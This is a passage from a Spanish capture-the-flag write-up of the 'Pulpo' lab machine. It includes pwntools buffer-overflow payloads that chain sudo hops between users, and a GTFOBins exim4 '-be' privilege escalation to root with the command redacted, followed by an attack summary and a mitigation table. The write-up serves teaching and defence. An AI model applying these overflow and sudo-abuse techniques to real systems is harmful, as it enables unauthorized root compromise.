# ya imprimió su mensaje y está esperando nuestra entrada por gets().
io.sendline(b'A'*44 + p32(0x0804854c))
# Salto 2: rubiales -> daflon, vía /opt/pulpazo/rubiales (dentro de la MISMA shell heredada)
io.sendline(b'sudo -u daflon /opt/pulpazo/rubiales')
io.recvuntil(b'overflow me')
io.sendline(b'A'*52 + p32(0xcafebabe))
io.sendline(b'id')
# uid=1003(daflon) gid=1003(daflon) grupos=1003(daflon),100(users)
io.sendline(b'cat /home/daflon/user.txt')
# ████████████🚩 User flag conseguida.
Fase 8 — Escalada final a root: exim4 + GTFOBins
# (ya como daflon, dentro de la misma sesión encadenada)
sudo -lsudo -l (“list”) muestra qué comandos puede ejecutar el usuario actual con sudo, sin necesidad de leer /etc/sudoers directamente:
User daflon may run the following commands on TheHackersLabs-Pulpo:
(root) NOPASSWD: /usr/sbin/exim4
exim4 es un agente de transporte de correo (MTA — el software que gestiona el envío/recepción de emails en un servidor Linux), no algo diseñado para dar acceso a shell. Pero como cualquier programa que corre con privilegios elevados y acepta parámetros complejos, puede tener funciones “colaterales” abusables — GTFOBins (ver glosario) documenta exactamente esta técnica para exim/exim4:
El modificador -be evalúa una cadena de expansión del propio lenguaje de configuración de Exim (usado normalmente para componer direcciones de correo dinámicamente), y dentro de esa sintaxis, el elemento ${████████████} ejecuta un comando del sistema operativo y captura su salida como resultado de la expansión — funciona de forma parecida a las comillas invertidas (`comando`) o $(comando) en bash: ejecuta y devuelve el texto de salida, no deja una sesión interactiva abierta esperando más órdenes.
sudo /usr/sbin/exim4 -be '${████████████}'uid=0(root) gid=110(Debian-exim) groups=110(Debian-exim),0(root)
Confirmado: se ejecuta como uid=0, es decir, root. Como ${████████████} simplemente devuelve la salida del comando, para leer la flag basta con poner cat como el comando a ejecutar dentro de la expansión, en vez de intentar mantener una shell interactiva (que no es lo que ofrece esta técnica):
sudo /usr/sbin/exim4 -be '${████████████}'████████████
🚩 Root flag conseguida.
El aviso
sudo: unable to resolve host TheHackersLabs-Pulpoque aparece en cadasudoes solo un/etc/hostsincompleto en la VM (el hostname de la máquina no está registrado en su propio archivo de resolución local) — es una advertencia, no un error;sudocontinúa con normalidad de todas formas.
Resumen de la cadena de ataque
nmap: solo 22 (SSH) y 80 (HTTP)
│
▼
Web: login (admin:pegasus) + 2FA de 4 dígitos
-> rate-limit por SESIÓN, no persistente ("hint" del propio servidor) -> código 7239
│
▼
Dashboard: fachada completa (sin SQLi/SSTI/RCE/backups/acciones ocultas) -> CALLEJÓN SIN SALIDA
│
▼
✗ Error: brute-force SSH contra "admin" (no es usuario del SO) -> 45+ min perdidos
│
▼
Pivote: montaje offline del .vmdk (qemu-nbd, read-only) con la VM apagada
│
▼
/etc/passwd: usuarios reales = jjjjj, rubiales, daflon (NO admin)
/root/.mysql_history: password de jjjjj filtrada y reutilizada en el SO
/etc/sudoers: cadena jjjjj->(rubiales)->(daflon)->(root), cada salto protegido
por un binario vulnerable a buffer overflow
│
▼
Ingeniería inversa: pikito (sin canario/PIE, salto directo a la dirección de
system("/bin/sh")) y rubiales_bin (con canario/PIE, pero el chequeo es un
ARGUMENTO en el stack, alcanzable y sin necesitar defeatear el canario)
│
▼
SSH jjjjj -> exploit pikito -> rubiales -> exploit rubiales_bin -> daflon
│
▼
user.txt (daflon)
│
▼
sudo -l: exim4 como root, NOPASSWD -> GTFOBins '-be ${████████████}'
│
▼
root.txt
Causas raíz y mitigación
| Debilidad | Mitigación recomendada |
|---|---|
| Contador de intentos del 2FA almacenado en la sesión, no de forma persistente por usuario/IP | Persistir el contador de intentos fallidos en base de datos o caché compartida (Redis), ligado al usuario, no a la cookie de sesión — que el atacante puede descartar a voluntad |
| Formulario de login sin rate limiting alguno | Limitar intentos por IP/usuario con backoff exponencial y/o CAPTCHA tras varios fallos |
Histórico de comandos de MySQL (~/.mysql_history) con contraseñas de usuarios en texto plano |
Nunca insertar contraseñas en claro en sentencias SQL manuales; usar HISTFILE=/dev/null o mysql --histignore en cuentas administrativas; rotar cualquier credencial que haya aparecido en un histórico |
Reutilización de contraseña entre una tabla de aplicación (second.users) y una cuenta real del sistema operativo (jjjjj) |
Las credenciales de aplicación y del sistema operativo deben ser completamente independientes; nunca reutilizar contraseñas entre capas |
Binarios setuid/sudo con gets() sin límite de tamaño |
Usar fgets() con límite explícito, o mejor, evitar C puro para herramientas privilegiadas; compilar siempre con canario (-fstack-protector-all) y sin excepciones para ninguno de los binarios de la cadena |
| Variable de control de flujo pasada como argumento de función, ubicada en una posición predecible del stack frame | No usar variables en el stack (locales ni argumentos) para decisiones de seguridad alcanzables por un desbordamiento; si es imprescindible, comprobarlas antes de cualquier operación de entrada no acotada, nunca después |
Regla de sudo que permite ejecutar exim4 completo como root sin restricción de argumentos |
Si exim4 necesita ejecutarse con privilegios, restringir mediante sudoers los argumentos permitidos (evitar -be), o mejor, usar setcap/capacidades específicas en vez de root completo |
Cadena de sudo en múltiples tramos (NOPASSWD) que permite escalar de usuario en usuario sin contraseña en ningún punto |
Cada salto de privilegio debería requerir como mínimo una verificación (contraseña, MFA), y auditarse (sudo con logging centralizado) — una cadena de NOPASSWD de extremo a extremo convierte el primer usuario comprometido en un camino directo a root |
«Los que viven son los que luchan.»
— Victor Hugo, Los castigos
